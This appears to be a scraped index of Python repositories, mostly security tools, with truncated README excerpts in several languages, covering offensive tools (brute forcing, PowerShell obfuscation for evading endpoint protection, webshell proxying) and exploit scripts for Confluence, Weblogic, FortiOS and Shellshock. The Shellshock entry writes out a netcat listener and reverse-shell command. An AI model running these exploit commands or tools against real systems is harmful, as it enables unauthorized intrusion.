paramiko

|version| |python| |license| |ci| |coverage| .. |version| image:: https://img.shields.io/pypi/v/paramiko :target: https://pypi.org/project/paramiko/ :alt: PyPI - Package Version .. |python| image:: https://img.shields.io/pypi/pyversions/paramiko :target: https://pypi.org/project/paramiko/ :alt:...

alibi-detect

Alibi Detect 是一个源码可用的 Python 库，专注于异常值 、对抗性 和漂移 检测。该包旨在覆盖适用于表格数据、文本、图像和时间序列的在线和离线检测器。漂移检测同时支持 TensorFlow 和 PyTorch 后端。 文档 如需了解更多有关在生产环境中监测异常值和分布的重要性的背景信息，请查看来自 ICML 2020 研讨会 机器学习系统的部署与监测挑战 上的这个演讲，该演讲基于论文生产环境中模型的监测与可解释性并引用了 Alibi Detect。...

jok3r

.. raw:: html .. image:: ./pictures/logo.png .. raw:: html .. image:: https://img.shields.io/badge/python-3.6-blue.svg :target: https://www.python.org/downloads/release/python-366/ :alt: Python 3.6 .. image:: https://readthedocs.org/projects/jok3r/badge/?version=latest :target:...

Kraken

ブルートフォース攻撃を集中管理・効率化するPythonベースのツール プロジェクトについて Kraken は、さまざまなブルートフォースタスクを集中管理・効率化するために設計された強力なPythonベースのツールです。Krakenは、サイバーセキュリティ専門家が幅広いプロトコルやサービスに対してブルートフォース攻撃を効率的に実行するためのツール群を提供します。 ⚠️ 警告: 法的免責事項 このツールは教育目的のみを意図しています。作者はこのツールの不正使用について一切の責任を負いません。ユーザーは自身の行動に対して単独で責任を負います。 👀 スクリーンショット ⚙️ インストール...

ghauri

Like Ghauri, consider supporting the developer...

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence 远程代码执行漏洞（CVE-2022-26134） 使用方法：python CVE-2022-26134.py -u http://127.0.0.1 批量验证： python CVE-2022-26134.py -f xxx.txt复制url到txt...

CryptoChat

CryptoChat : 安全なメッセージングを超えて 🛡️ CryptoChat へようこそ。ここでは会話が真にプライベートに保たれます。堅牢なPythonエコシステム上に構築された本アプリケーションは、送信するすべての単語を暗号の層で包み込みます。機密のビジネス詳細について議論する場合でも、個人的なストーリーを共有する場合でも、CryptoChat はデジタル時代に必要な聖域を提供します。さあ、飛び込んで、次世代のセキュアメッセージングを体験しましょう！ CryptoChat の機能 🌟 1. エンドツーエンド暗号化 :...

CVE-2020-14883

CVE-2020-14883 Weblogic 認証バイパス脆弱性の一括検出スクリプト 使用方法： Python CVE-2020-14883-Multiple.py ip.txt port 脆弱性があるアドレスはVul.txtに出力されます...

darts

Time Series Made Easy in Python...

log4j_scanner

WindowsおよびUnix向けFilesystem log4jscanner スキャン対象: CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 最低でもPython 2.7が必要です。 AuditのCustom Script Ruleとして、またはServer Automationを利用したServer Scriptを介して実行できます。 また、コマンドラインからスタンドアロンでも実行できます。 参照 https://github.com/hillu/local-log4j-vuln-scanner/...

socialscan

socialscan socialscan は、オンラインプラットフォームにおけるメールアドレスとユーザー名の使用状況を 正確 かつ 高速 にチェックします。 メールアドレスまたはユーザー名を指定すると、socialscan はそのプラットフォーム上で利用可能か、既に使用されているか、無効かを返します。 socialscan を類似ツール（例：knowem.com、Namechk、Sherlock）と差別化する機能： 1. 100% の正確性 : socialscan のクエリ方式は、類似ツールでよく発生する偽陽性や偽陰性を排除し、結果が常に正確であることを保証します。 2. 速度 :...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

powerob

Powerob レッドチームのエンゲージメント向けに作られた、その場でPowerShellスクリプトを難読化するツール。必要に迫られて作成されました。 このツールはPowerShellスクリプト内の関数とリテラル文字列のみを難読化します。ロードマップでは変数の難読化も含まれています。プルリクエストやコラボレーションを歓迎します。 概要 このツールは、最近のエンゲージメントでエンドポイントセキュリティを回避する必要性から作成されました。権限昇格の試行中、PowerUp.ps1 をダウンロードできませんでしたが、難読化することでダウンロード可能になりました。...

pystinger

pystinger 英語 | 简体中文 Pystinger は、webshell を介して SOCK4 プロキシ と ポートマッピング を実装します。 metasploit-framework、viper、cobalt strike で直接使用してセッションをオンラインにできます。 Pystinger は Python で開発されており、現在、php、jspx、aspx の 3 つのプロキシスクリプトをサポートしています。 使用法 サーバーのドメイン名は http://example.com :8080 とします。サーバーの内部ネットワーク IP アドレスは 192.168.3.11 で...

vulnx

VulnX Vulnx 🕷️ は、複数種類のCMSの脆弱性を検出するインテリジェントボット自動シェルインジェクターです。...

CVE-2022-40684

CVE-2022-40684 一键枚举所有用户名以及写入SSH公钥 整合并优化了这两个仓库的代码，使其实现一键枚举所有用户名并写入ssh公钥的结果： https://github.com/carlosevieira/CVE-2022-40684/blob/main/exploit.py https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py root@kitploit: python exp.py -u https://xxxx 详细介绍关注公众号：阿呆攻防...

GATOR

攻撃研究のためのGCP攻撃ツールキット GATOR - GCP攻撃研究ツールキット 、Google Cloud環境の研究と悪用を支援するために設計されたツールです。偵察から影響に至るまでの様々な攻撃段階でユーザーをサポートするために調整された包括的なモジュール群を提供します。 モジュール リソースカテゴリ| プライマリモジュール| コマンドグループ| 操作| 説明 ---|---|---|---|--- ユーザー認証| auth| -| activate| 特定の認証方法をアクティブ化する -| add| 新しい認証方法を追加する -| delete| 特定の認証方法を削除する -|...

hubble

Welcome to HubbleStack!! You can file an issue here Follow us on Twitter! Development Below are sample instructions to setup a dev environment: 1. virtualenv myvirtualenv 2. source myvirtualenv/bin/activate 3. pip install -r requirements.txt 4. sudo python setup.py develop 5. sudo hubble...

CVE-2026-90790

A server-side request forgery (SSRF) vulnerability exists in a2aproject a2a-python (versions up to 1.1.3 ). The flaw is in the function _dispatch_notification within the Push Notification Sender component (src/a2a/server/tasks/base_push_notification_sender.py), where an attacker can manipulate th...

EUVD-2026-77535

A security vulnerability has been detected in a2aproject a2a-python up to 1.1.3. This affects the function dispatchnotification of the file src/a2a/server/tasks/basepushnotificationsender.py of the component Push Notification Sender. The manipulation of the argument pushinfo.url leads to...